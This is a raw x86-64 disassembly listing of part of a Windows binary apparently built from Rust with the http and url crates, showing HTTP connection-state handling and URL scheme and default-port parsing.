movdqa xmmword [rsp + 0x150], xmm3
movdqa xmmword [rsp + 0x140], xmm2
movdqa xmmword [rsp + 0x130], xmm1
movdqa xmmword [rsp + 0x120], xmm0
lea rcx, [rsp + 0x120]
call fcn.140066280
jmp 0x140061715
mov byte [rsi + 0x9d3], 0
mov r14b, 2
xor ebp, ebp
mov rax, qword [rsp + 0x120]
lea rdx, [rax - 6]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x140061508
test rcx, rcx
jne 0x140061528
lea rcx, [rsp + 0x128]
call fcn.14005d190
mov byte [rsi + 0x9d2], 0
cmp byte [rsi + 0x9d3], 0
jne 0x140061538
mov byte [rsi + 0x9d3], 0
jmp 0x140061715
cmp eax, 5
jne 0x1400615fd
cmp byte [rsp + 0x198], 3
je 0x140061528
lea rcx, [rsp + 0x128]
call fcn.14005da90
mov byte [rsi + 0x9d2], 0
cmp byte [rsi + 0x9d3], 0
je 0x1400614fc
mov rcx, qword [rsi + 0x9d8]
call fcn.14005cd00
mov byte [rsi + 0x9d3], 0
jmp 0x140061715
lea rcx, [rsp + 0x10d0]
mov r8d, 0x1b8
mov rdx, rdi
call fcn.140121660
mov rax, qword [rsi + 0x768]
mov rbx, qword [rax + 0x68]
test rbx, rbx
mov qword [rsp + 0x48], r12
je 0x140061639
mov r12, qword [rax + 0x70]
mov r13, qword [r12 + 0x10]
movzx eax, byte [0x14019f308]
mov edx, 0x1b8
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140065b83
mov rdi, rax
dec r13
and r13, 0xfffffffffffffff0
add rbx, r13
add rbx, 0x10
lea rdx, [rsp + 0x10d0]
mov r8d, 0x1b8
mov rcx, rax
call fcn.140121660
lea r8, fcn.14005a510
mov rcx, rbx
mov rdx, rdi
call qword [r12 + 0x18]
mov r12, qword [rsp + 0x48]
mov r13, qword [rsp + 0x30]
jmp 0x140062923
mov byte [rsi + 0x9d5], 0
mov r14b, 2
xor ebp, ebp
jmp 0x1400616e5
lea rcx, [rsp + 0x120]
call fcn.14005d2e0
mov byte [rsi + 0x9d2], 0
cmp byte [rsi + 0x9d3], 0
jne 0x140061538
jmp 0x1400614fc
mov rcx, r13
call fcn.14005d2e0
cmp dword [rdi], 9
je 0x140061117
jmp 0x140060d6f
mov eax, 1
lock xadd qword [0x14019f060], rax
mov qword [rsp + 0x550], rax
lea rcx, [rsp + 0x390]
mov r8d, 0x1b8
mov rdx, rdi
call fcn.140121660
lea rax, [rsp + 0x550]
mov qword [rsp + 0x548], rax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x1400622fb
cmp eax, 1
je 0x140062328
lea rcx, [rsp + 0x390]
call fcn.14005a510
mov al, 1
mov byte [rsp + 0x120], al
lea rdx, [0x140158760]
lea rcx, [rsp + 0x120]
call fcn.140127580
mov ebp, 1
mov r15, r12
mov r13, qword [rsp + 0x30]
test byte [rsi + 0x9d4], 1
mov r12, qword [rsp + 0x48]
je 0x1400616f2
lea rcx, [rsp + 0x390]
call fcn.140066280
mov byte [rsi + 0x9d4], 0
cmp byte [rsi + 0x9d5], 0
je 0x14006170e
mov rcx, qword [rsi + 0x9d8]
call fcn.14005cd00
mov byte [rsi + 0x9d5], 0
mov word [rsi + 0x9d6], 0
movaps xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0xd30], xmm0
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0xd20], xmm0
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmm1, xmmword [rsp + 0xc0]
movaps xmm2, xmmword [rsp + 0xd0]
movaps xmm3, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0xd10], xmm3
movaps xmmword [rsp + 0xd00], xmm2
movaps xmmword [rsp + 0xcf0], xmm1
movaps xmmword [rsp + 0xce0], xmm0
mov eax, dword [rsp + 0x68]
mov ecx, dword [rsp + 0x6b]
mov dword [rsp + 0x318], eax
mov dword [rsp + 0x31b], ecx
mov byte [rsi + 0x9d0], 1
movaps xmm0, xmmword [rsp + 0xce0]
movdqa xmm1, xmmword [rsp + 0xcf0]
movdqa xmm2, xmmword [rsp + 0xd00]
movdqa xmm3, xmmword [rsp + 0xd10]
movaps xmmword [rsp + 0xd40], xmm0
movdqa xmmword [rsp + 0xd50], xmm1
movdqa xmmword [rsp + 0xd60], xmm2
movdqa xmmword [rsp + 0xd70], xmm3
movaps xmm0, xmmword [rsp + 0xd20]
movaps xmmword [rsp + 0xd80], xmm0
movdqa xmm0, xmmword [rsp + 0xd30]
movdqa xmmword [rsp + 0xd90], xmm0
mov eax, dword [rsp + 0x318]
mov ecx, dword [rsp + 0x31b]
mov dword [rsp + 0x323], ecx
mov dword [rsp + 0x320], eax
mov rcx, r13
call fcn.140066b30
cmp r14b, 2
jne 0x1400618df
mov bl, 1
mov r13d, 3
test rbp, rbp
je 0x140061e6f
mov byte [rsi + 0x729], 0
mov r13, qword [rsi + 0x628]
mov rbp, qword [rsi + 0x630]
mov r14, qword [rsi + 0x638]
lea rdx, [rsi + 0x640]
lea rcx, [rsp + 0x13a0]
mov r8d, 0x90
call fcn.140121660
movups xmm0, xmmword [rsi + 0x6d0]
movdqu xmm1, xmmword [rsi + 0x6e0]
movdqu xmm2, xmmword [rsi + 0x6f0]
movdqu xmm3, xmmword [rsi + 0x700]
movaps xmmword [rsp + 0x990], xmm0
movdqa xmmword [rsp + 0x9a0], xmm1
movdqa xmmword [rsp + 0x9b0], xmm2
movdqa xmmword [rsp + 0x9c0], xmm3
movdqu xmm0, xmmword [rsi + 0x710]
movdqa xmmword [rsp + 0x9d0], xmm0
mov rax, qword [rsi + 0x720]
mov qword [rsp + 0x9e0], rax
jmp 0x1400641fb
mov qword [rsp + 0x48], r12
movaps xmm0, xmmword [rsp + 0xd90]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [rsp + 0xd80]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [rsp + 0xd40]
movaps xmm1, xmmword [rsp + 0xd50]
movaps xmm2, xmmword [rsp + 0xd60]
movaps xmm3, xmmword [rsp + 0xd70]
movaps xmmword [rsp + 0x150], xmm3
movaps xmmword [rsp + 0x140], xmm2
movaps xmmword [rsp + 0x130], xmm1
movaps xmmword [rsp + 0x120], xmm0
mov qword [rsi + 0x730], rbp
mov qword [rsi + 0x738], r15
movaps xmm0, xmmword [rsp + 0x120]
movdqa xmm1, xmmword [rsp + 0x130]
movdqa xmm2, xmmword [rsp + 0x140]
movdqa xmm3, xmmword [rsp + 0x150]
movups xmmword [rsi + 0x740], xmm0
movdqu xmmword [rsi + 0x750], xmm1
movdqu xmmword [rsi + 0x760], xmm2
movdqu xmmword [rsi + 0x770], xmm3
movaps xmm0, xmmword [rsp + 0x160]
movups xmmword [rsi + 0x780], xmm0
movdqa xmm0, xmmword [rsp + 0x170]
movdqu xmmword [rsi + 0x790], xmm0
mov byte [rsi + 0x7a0], r14b
mov eax, dword [rsp + 0x320]
mov ecx, dword [rsp + 0x323]
mov dword [rsi + 0x7a1], eax
mov dword [rsi + 0x7a4], ecx
lea rbp, [rsi + 0x628]
mov rcx, qword [rsi + 0x6f8]
test rcx, rcx
je 0x140061c41
cmp qword [rcx + 0x18], 0
je 0x140061c41
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
movabs rbx, 0xa59e9ac9ee7fd1e6
mov rdx, rcx
and rdx, rbx
lea r8, [rax - 0x20]
xor r9d, r9d
movdqa xmm0, xmmword [str.RRRRRRRRRRRRRRRRIIIIIIIIIIIIIIII_r_nSM_r_n_r_n]
pcmpeqd xmm1, xmm1
movabs r14, 0x5370ac673016beed
movdqu xmm2, xmmword [rax + rdx]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r10d, xmm3
test r10d, r10d
jne 0x140061a7d
pcmpeqb xmm2, xmm1
pmovmskb r10d, xmm2
test r10d, r10d
jne 0x140061c41
add rdx, r9
add rdx, 0x10
add r9, 0x10
and rdx, rcx
jmp 0x140061a2b
lea r11d, [r10 - 1]
and r11w, r10w
mov r10d, r11d
je 0x140061a42
tzcnt r11d, r10d
add r11, rdx
and r11, rcx
mov r15, r11
shl r15, 5
mov rdi, r8
sub rdi, r15
cmp qword [rdi], r14
jne 0x140061a70
cmp qword [rdi + 8], rbx
jne 0x140061a70
neg r11
shl r11, 5
mov rdi, qword [rax + r11 - 0x10]
mov rax, qword [rax + r11 - 8]
mov rcx, rdi
call qword [rax + 0x18]
xor rax, r14
xor rdx, rbx
or rdx, rax
jne 0x140061c41
mov qword [rsp + 0x30], r13
cmp byte [rsi + 0x791], 2
je 0x1400657ef
mov qword [rsp + 0x40], rbp
mov rbx, qword [rdi]
movzx r13d, word [rsi + 0x790]
mov rcx, qword [rsi + 0x778]
xor edi, edi
test rcx, rcx
je 0x140061b06
mov rax, qword [rsi + 0x780]
call qword [rax + 0x18]
mov rdi, rax
mov r15, rdx
mov rbp, qword [rsi + 0x788]
lock inc qword [rbp]
jle case.0x14005f8a0.2
mov r14, qword [rbx + 0x10]
mov ecx, 8
xor eax, eax
lock cmpxchg qword [r14 + 0x130], rcx
jne 0x1400626c1
mov rbx, qword [r14 + 0x138]
mov r12, qword [r14 + 0x140]
mov qword [r14 + 0x138], rdi
mov qword [r14 + 0x140], r15
mov rdi, qword [r14 + 0x148]
mov qword [r14 + 0x148], rbp
mov r15, qword [r14 + 0x150]
mov qword [r14 + 0x150], r13
lock add qword [r14 + 0x158], 2
xor ecx, ecx
mov eax, 8
lock cmpxchg qword [r14 + 0x130], rcx
jne 0x1400626d2
lea rcx, [r14 + 0x10]
call fcn.1401062c0
lea rcx, [r14 + 0x30]
call fcn.1401062c0
lea rcx, [r14 + 0x50]
call fcn.1401062c0
lea rcx, [r14 + 0x70]
call fcn.1401062c0
lea rcx, [r14 + 0x90]
call fcn.1401062c0
lea rcx, [r14 + 0xb0]
call fcn.1401062c0
lea rcx, [r14 + 0xd0]
call fcn.1401062c0
add r14, 0xf0
mov rcx, r14
call fcn.1401062c0
and r15d, 0xff00
cmp r15d, 0x200
mov r13, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
je 0x140061c41
test rbx, rbx
je 0x140061c33
mov rax, qword [r12]
test rax, rax
je 0x140061c0d
mov rcx, rbx
call rax
cmp qword [r12 + 8], 0
je 0x140061c33
cmp qword [r12 + 0x10], 0x11
jb 0x140061c21
mov rbx, qword [rbx - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lock dec qword [rdi]
jne 0x140061c41
mov rcx, rdi
call fcn.1400ca680
cmp byte [r13 + 0x61], 2
je 0x1400657ef
cmp byte [r13 + 0x40], 2
jne 0x140061d54
cmp byte [rsi + 0x6e0], 7
jne 0x140062b43
mov rcx, qword [rsi + 0x6f8]
test rcx, rcx
je 0x140061d43
cmp qword [rcx + 0x18], 0
je 0x140061d43
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
movabs rdi, 0x92ae2622aece8ba2
mov rdx, rcx
and rdx, rdi
lea r8, [rax - 0x20]
xor r9d, r9d
movdqa xmm0, xmmword [0x14012fac0]
pcmpeqd xmm1, xmm1
movabs rbx, 0xa541fc0fd4e985f9
movdqu xmm2, xmmword [rax + rdx]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r10d, xmm3
test r10d, r10d
jne 0x140061cfd
pcmpeqb xmm2, xmm1
pmovmskb r10d, xmm2
test r10d, r10d
jne 0x140061d43
add rdx, r9
add rdx, 0x10
add r9, 0x10
and rdx, rcx
jmp 0x140061cb3
lea r11d, [r10 - 1]
and r11w, r10w
mov r10d, r11d
je 0x140061cca
tzcnt r11d, r10d
add r11, rdx
and r11, rcx
mov r15, r11
shl r15, 5
mov r14, r8
sub r14, r15
cmp qword [r14], rbx
jne 0x140061cf0
cmp qword [r14 + 8], rdi
jne 0x140061cf0
neg r11
shl r11, 5
mov rcx, qword [rax + r11 - 0x10]
mov rax, qword [rax + r11 - 8]
call qword [rax + 0x18]
xor rax, rbx
xor rdx, rdi
or rdx, rax
je 0x140062b43
lea rcx, [rsi + 0x688]
call fcn.14002fe30
jmp 0x140062b43
cmp byte [rsi + 0x700], 3
jne 0x140061e7f
movzx eax, byte [0x14019f308]
mov edx, 0x38
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140065b07
mov rbp, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov word [rax + 0x30], 0x301
movzx r15d, byte [r13 + 0x61]
cmp r15b, 2
je 0x1400657ef
movzx r12d, byte [r13 + 0x60]
mov rcx, qword [r13 + 0x48]
xor edi, edi
test rcx, rcx
je 0x140061dbd
mov rax, qword [r13 + 0x50]
call qword [rax + 0x18]
mov rdi, rax
mov rbx, rdx
mov r13, qword [r13 + 0x58]
lock inc qword [r13]
jle case.0x14005f8a0.2
cmp byte [rbp + 0x29], 2
je 0x140061e2d
mov qword [rsp + 0x30], rbx
mov r14, qword [rbp + 0x10]
test r14, r14
je 0x140061e15
mov rbx, qword [rbp + 0x18]
mov rax, qword [rbx]
test rax, rax
je 0x140061df1
mov rcx, r14
call rax
cmp qword [rbx + 8], 0
je 0x140061e15
cmp qword [rbx + 0x10], 0x11
jb 0x140061e03
mov r14, qword [r14 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x20]
lock dec qword [rax]
mov rbx, qword [rsp + 0x30]
jne 0x140061e2d
mov rcx, qword [rbp + 0x20]
call fcn.1400ca680
mov qword [rbp + 0x10], rdi
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x20], r13
mov byte [rbp + 0x28], r12b
mov byte [rbp + 0x29], r15b
mov eax, dword [rsp + 0x120]
mov dword [rbp + 0x2a], eax
movzx eax, word [rsp + 0x124]
mov word [rbp + 0x2e], ax
mov r13d, 3
mov r12, qword [rsp + 0x48]
mov r14, qword [rsp + 0x370]
jmp 0x14006417b
mov rbp, r15
mov r14, qword [rsp + 0x370]
jmp 0x1400641fb
mov rax, qword [rsi + 0x620]
cmp byte [rax + 0x111], 0
je 0x140061f08
mov qword [rsp + 0x40], rbp
movzx ebx, byte [rsi + 0x688]
test ebx, ebx
je 0x140061f41
cmp ebx, 2
jne 0x140061f3a
mov r14, qword [rsi + 0x690]
movzx eax, byte [0x14019f308]
mov edx, 0x20
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140065837
mov rdi, rax
lea rdx, [r14 + 0x18]
mov rax, qword [r14]
mov r8, qword [r14 + 8]
mov r9, qword [r14 + 0x10]
lea rcx, [rsp + 0x120]
call qword [rax]
movdqu xmm0, xmmword [rsp + 0x120]
movdqu xmm1, xmmword [rsp + 0x130]
movdqu xmmword [rdi + 0x10], xmm1
movdqu xmmword [rdi], xmm0
jmp 0x140061f41
mov r14, qword [rsp + 0x90]
mov r15, qword [rsp + 0x70]
movzx eax, word [rsp + 0x3e]
mov ebp, eax
cmp byte [rsi + 0x6e0], 7
jne 0x140062af9
lea rcx, [rsi + 0x688]
call fcn.14002fe30
jmp 0x140062b31
movzx ebp, byte [rsi + 0x689]
mov qword [rsp + 0x30], r13
lea rdx, [rsi + 0x6b0]
mov rax, qword [rsi + 0x698]
mov r8, qword [rsi + 0x6a0]
mov r9, qword [rsi + 0x6a8]
lea rcx, [rsp + 0x130]
call qword [rax]
lea rdx, [rsi + 0x6d0]
mov rax, qword [rsi + 0x6b8]
mov r8, qword [rsi + 0x6c0]
mov r9, qword [rsi + 0x6c8]
lea rcx, [rsp + 0x150]
call qword [rax]
movzx eax, word [rsi + 0x6d8]
mov byte [rsp + 0x120], bl
mov byte [rsp + 0x121], bpl
mov qword [rsp + 0x128], rdi
mov word [rsp + 0x170], ax
movups xmm0, xmmword [0x140158d20]
movaps xmmword [rsp + 0x680], xmm0
movdqu xmm0, xmmword [0x140158d10]
movdqa xmmword [rsp + 0x670], xmm0
mov rdi, qword [rsp + 0x40]
mov rcx, rdi
call fcn.14002c620
test al, al
jne 0x140065b16
lea rdx, [rsp + 0x670]
mov rcx, rdi
call fcn.14001cb40
mov ebp, eax
movzx ecx, ax
movzx r12d, word [rsi + 0x680]
mov eax, r12d
mov dword [rsp + 0x118], ecx
and eax, ecx
mov r13, qword [rsi + 0x670]
mov rbx, qword [rsi + 0x678]
mov r10, qword [rsp + 0x670]
mov rcx, qword [rsp + 0x678]
mov qword [rsp + 0x78], rcx
movzx ecx, byte [rsp + 0x678]
mov byte [rsp + 0x98], cl
mov rcx, qword [rsp + 0x680]
mov qword [rsp + 0x60], rcx
xor edi, edi
mov qword [rsp + 0x5b8], r10
jmp 0x140062080
movzx ecx, byte [rsp + 0x98]
cmp byte [rax + 8], cl
je 0x1400629a6
inc rdi
inc r15
mov rax, r15
nop dword [rax + rax]
mov r15, rax
mov eax, 0
cmp r15, rbx
jae 0x140062080
movzx r11d, word [r13 + r15*4]
cmp r11, 0xffff
je 0x140062162
movzx eax, word [r13 + r15*4 + 2]
mov ecx, r12d
and ecx, eax
mov edx, r15d
sub edx, ecx
and edx, r12d
cmp rdx, rdi
jb 0x140062162
cmp ax, bp
jne 0x140062072
mov rdx, qword [rsi + 0x650]
cmp rdx, r11
jbe 0x140065846
test r10, r10
sete r8b
mov rax, qword [rsi + 0x648]
imul rdx, r11, 0x68
mov rcx, qword [rax + rdx + 0x40]
test rcx, rcx
setne r9b
cmp r9b, r8b
je 0x140062072
add rax, rdx
add rax, 0x40
test rcx, rcx
je 0x140062061
mov rcx, qword [rsp + 0x60]
cmp qword [rax + 0x10], rcx
jne 0x140062072
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x60]
mov r14, r11
call fcn.1401220a0
mov r10, qword [rsp + 0x5b8]
test eax, eax
jne 0x140062072
mov bl, 2
test r10, r10
je 0x14006215a
lea rcx, [rsp + 0x688]
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x60]
call qword [r10 + 0x10]
mov r11, r14
jmp 0x1400629a8
cmp rdi, 0x200
setae al
mov r14, qword [rsp + 0x40]
cmp qword [r14], 2
setne bl
and bl, al
lea rax, [rsp + 0x670]
movdqu xmm0, xmmword [rax + 0x10]
movdqa xmmword [rsp + 0x10d0], xmm0
mov r11, qword [rsp + 0x78]
mov r13, qword [rsp + 0x30]
mov ebp, dword [rsp + 0x118]
mov qword [rsp + 0x390], r14
mov qword [rsp + 0x398], r10
mov qword [rsp + 0x3a0], r11
movdqa xmm0, xmmword [rsp + 0x10d0]
movdqu xmmword [rsp + 0x3a8], xmm0
mov qword [rsp + 0x3b8], r15
mov word [rsp + 0x3c0], bp
mov byte [rsp + 0x3c2], bl
cmp bl, 2
mov qword [rsp + 0x5b8], r10
mov qword [rsp + 0x828], r11
jne 0x140062218
mov rdx, qword [r14 + 0x28]
cmp r11, rdx
jb 0x140062a70
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, qword [rsp + 0x828]
call fcn.140122580
mov rdx, qword [rsp + 0x140]
test rdx, rdx
je 0x140065b6b
mov rcx, qword [rsp + 0x138]
call case.0x1400dd9c6.1014
mov rdi, rax
mov rbx, rdx
mov qword [rsp + 0x5d0], rax
mov qword [rsp + 0x5d8], rdx
mov r8, qword [rsp + 0x140]
test r8, r8
je 0x14006271f
mov rdx, qword [rsp + 0x138]
lea rcx, [rsp + 0x670]
call fcn.1400233e0
cmp qword [rsp + 0x670], 0
je 0x14006271f
movzx eax, word [rsp + 0x680]
movzx ecx, byte [rsp + 0x120]
test ecx, ecx
je 0x140062715
cmp ecx, 2
jne 0x1400626e3
mov rdx, qword [rsp + 0x128]
mov rcx, qword [rdx + 8]
mov rdx, qword [rdx + 0x10]
cmp rdx, 5
je 0x1400626ff
cmp rdx, 3
jne 0x140062715
movzx edx, word [rcx]
xor edx, 0x7377
movzx ecx, byte [rcx + 2]
xor ecx, 0x73
or cx, dx
jne 0x140062715
jmp 0x1400629c6
mov al, 5
jmp 0x1400622ea
mov al, 4
mov rcx, qword [rsp + 0x5c8]
mov byte [rcx], al
mov al, 3
jmp 0x140063bc7
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140070690]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd8]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140065b92
inc rax
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd8], rax
mov rdi, qword [rcx + 0xe0]
lea rcx, [rsp + 0x120]
lea rdx, [rsp + 0x390]
mov r8d, 0x1c0
call fcn.140121660
cmp rdi, 2
je 0x140065bad
lea rcx, [rsp + 0x670]
lea rdx, [rsp + 0x390]
mov r8d, 0x1b8
call fcn.140121660
mov rax, qword [rsp + 0x2d8]
mov r12, qword [rax]
test dil, 1
je 0x140062548
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r13, qword [rax + 0xe8]
lock inc qword [r13]
jle case.0x14005f8a0.2
movzx eax, byte [0x14019f308]
mov edx, 0x300
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140065b9e
lea rcx, [r13 + 0x10]
mov qword [rsp + 0x40], rcx
mov rdi, rax
and rdi, 0xffffffffffffff80
lea rbx, [rdi + 0x80]
mov qword [rdi + 0x78], rax
mov qword [rdi + 0x80], 0xcc
mov qword [rdi + 0x88], 0
lea rax, [0x14015a778]
mov qword [rdi + 0x90], rax
mov qword [rdi + 0x98], 0
mov qword [rdi + 0xa0], r13
mov qword [rdi + 0xa8], r12
lea rcx, [rdi + 0xb0]
lea rdx, [rsp + 0x670]
mov r8d, 0x1b8
call fcn.140121660
pxor xmm0, xmm0
movdqu xmmword [rdi + 0x268], xmm0
mov qword [rdi + 0x278], 0
mov rax, qword [r13 + 0x88]
mov qword [rdi + 0x98], rax
mov rcx, qword [r13 + 0x68]
mov rax, qword [r13 + 0x80]
and rax, r12
lea rdx, [rax + rax*2]
lea rdi, [rcx + rdx*8]
mov r8b, 1
xor eax, eax
lock cmpxchg byte [rcx + rdx*8], r8b
jne 0x140064f3a
lea rax, [r13 + 0x78]
mov qword [rsp + 0x340], rdi
mov qword [rsp + 0x348], rax
mov qword [rsp + 0x350], r12
movzx eax, byte [r13 + 0x90]
test al, al
jne 0x140062664
lea rcx, [rsp + 0x340]
mov rdx, rbx
call fcn.14009d3f0
mov byte [rsp + 0x9ec], 0
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], rbx
lea rax, [rsp + 0x9ec]
mov qword [rsp + 0x350], rax
lea rcx, [rsp + 0x340]
call fcn.1401034c0
jmp 0x1400628e4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r13, qword [rax + 0xe8]
lock inc qword [r13]
jle case.0x14005f8a0.2
movzx eax, byte [0x14019f308]
mov edx, 0x300
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140065b9e
mov rdi, rax
and rdi, 0xffffffffffffff80
lea rbx, [rdi + 0x80]
mov qword [rdi + 0x78], rax
mov qword [rdi + 0x80], 0xcc
mov qword [rdi + 0x88], 0
lea rax, str._a_b_
mov qword [rdi + 0x90], rax
mov qword [rdi + 0x98], 0
mov qword [rdi + 0xa0], r13
mov qword [rdi + 0xa8], r12
lea rcx, [rdi + 0xb0]
lea rdx, [rsp + 0x670]
mov r8d, 0x1b8
call fcn.140121660
pxor xmm0, xmm0
movdqu xmmword [rdi + 0x268], xmm0
mov qword [rdi + 0x278], 0
mov rax, qword [r13 + 0x78]
mov qword [rdi + 0x98], rax
mov rcx, qword [r13 + 0x58]
mov rax, qword [r13 + 0x70]
and rax, r12
lea rdx, [rax + rax*2]
lea rdi, [rcx + rdx*8]
mov r8b, 1
xor eax, eax
lock cmpxchg byte [rcx + rdx*8], r8b
jne 0x140064f47
lea rax, [r13 + 0x68]
mov qword [rsp + 0x340], rdi
mov qword [rsp + 0x348], rax
mov qword [rsp + 0x350], r12
movzx eax, byte [r13 + 0x80]
test al, al
je 0x1400628b2
mov rcx, qword [rsp + 0x340]
xor edx, edx
mov al, 1
lock cmpxchg byte [rcx], dl
mov r12, qword [rsp + 0x48]
mov r13, qword [rsp + 0x30]
jne 0x140064f30
mov rax, qword [rbx + 0x10]
mov rcx, rbx
call qword [rax + 0x30]
mov rax, 0xffffffffffffffc0
lock xadd qword [rbx], rax
cmp rax, 0x3f
jbe 0x140065bf1
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400628ee
mov rax, qword [rbx + 0x10]
mov rcx, rbx
call qword [rax + 0x10]
jmp 0x1400628ee
lea rcx, [r14 + 0x130]
call fcn.140124b50
jmp 0x140061b32
lea rcx, [r14 + 0x130]
call fcn.1401253d0
jmp 0x140061b89
lea rdx, [0x14018dd8c]
lea rcx, str.httphttpswswssftpfileC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srcparser.rs
cmp byte [rsp + 0x121], 0
cmovne rcx, rdx
je 0x140062715
mov edx, 0x70747468
xor edx, dword [rcx]
movzx ecx, byte [rcx + 4]
xor ecx, 0x73
or ecx, edx
je 0x1400629c6
cmp ax, 0x50
je 0x1400629d4
mov r8, qword [rsp + 0x140]
test r8, r8
je 0x1400629d4
mov rdx, qword [rsp + 0x138]
lea rcx, [rsp + 0x8d0]
call fcn.1400233e0
cmp qword [rsp + 0x8d0], 0
je 0x1400629e0
mov rax, qword [rsp + 0x8e0]
mov qword [rsp + 0x12a0], rax
movdqu xmm0, xmmword [rsp + 0x8d0]
movdqa xmmword [rsp + 0x1290], xmm0
lea rax, [rsp + 0x5d0]
mov qword [rsp + 0x10d0], rax
lea rax, [0x140031b60]
mov qword [rsp + 0x10d8], rax
lea rax, [rsp + 0x1290]
mov qword [rsp + 0x10e0], rax
lea rax, [0x14009d4c0]
mov qword [rsp + 0x10e8], rax
lea rax, [0x14015c788]
mov qword [rsp + 0x670], rax
mov qword [rsp + 0x678], 2
mov qword [rsp + 0x690], 0
lea rax, [rsp + 0x10d0]
mov qword [rsp + 0x680], rax
mov qword [rsp + 0x688], 2
lea rcx, [rsp + 0xf10]
lea rdx, [rsp + 0x670]
call fcn.140006d30
mov rdi, qword [rsp + 0xf18]
mov rax, qword [rsp + 0xf20]
xor r8d, r8d
test rax, rax
je 0x140062874
xor ecx, ecx
jmp 0x14006283d
cmp dl, 0x7f
je 0x14006284b
inc rcx
cmp rax, rcx
je 0x140062871
movzx edx, byte [rdi + rcx]
cmp dl, 0x1f
ja 0x140062830
cmp dl, 9
je 0x140062835
cmp qword [rsp + 0xf10], 0
je 0x140062a0b
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140062a0b
mov r8, rax
lea rcx, [rsp + 0x670]
mov rdx, rdi
call fcn.140007d10
mov byte [rsp + 0x690], 0
cmp qword [rsp + 0xf10], 0
je 0x140062a52
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140062a52
lea rcx, [rsp + 0x340]
mov rdx, rbx
call fcn.14009d3f0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xe8]
mov rdx, rbx
call fcn.1400ff170
mov r12, qword [rsp + 0x48]
mov r13, qword [rsp + 0x30]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd8]
mov ecx, 0x84
mov eax, 0xcc
lock cmpxchg qword [rbx], rcx
je 0x140062923
mov rax, qword [rbx + 0x10]
mov rcx, rbx
call qword [rax + 0x20]
movaps xmm0, xmmword [rsp + 0xe20]
movaps xmmword [rsp + 0x100], xmm0
movaps xmm0, xmmword [rsp + 0xe10]
movaps xmmword [rsp + 0xf0], xmm0
movdqa xmm0, xmmword [rsp + 0xdd0]
movdqa xmm1, xmmword [rsp + 0xde0]
movdqa xmm2, xmmword [rsp + 0xdf0]
movdqa xmm3, xmmword [rsp + 0xe00]
movdqa xmmword [rsp + 0xe0], xmm3
movdqa xmmword [rsp + 0xd0], xmm2
movdqa xmmword [rsp + 0xc0], xmm1
movdqa xmmword [rsp + 0xb0], xmm0
mov eax, dword [rsp + 0x328]
mov ecx, dword [rsp + 0x32b]
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x6b], ecx
jmp 0x140061715
mov bl, 2
mov r10, r15
mov r15, qword [rsp + 0x70]
movzx eax, word [rsp + 0x3e]
mov ebp, eax
mov r13, qword [rsp + 0x30]
mov r14, qword [rsp + 0x40]
jmp 0x1400621a1
movzx eax, ax
cmp eax, 0x1bb
jne 0x14006271f
mov qword [rsp + 0x8d0], 0
xor r8d, r8d
test rbx, rbx
je 0x140062a3a
xor eax, eax
jmp 0x1400629fd
cmp cl, 0x7f
je 0x140062a0b
inc rax
cmp rbx, rax
je 0x140062a37
movzx ecx, byte [rdi + rax]
cmp cl, 0x1f
ja 0x1400629f0
cmp cl, 9
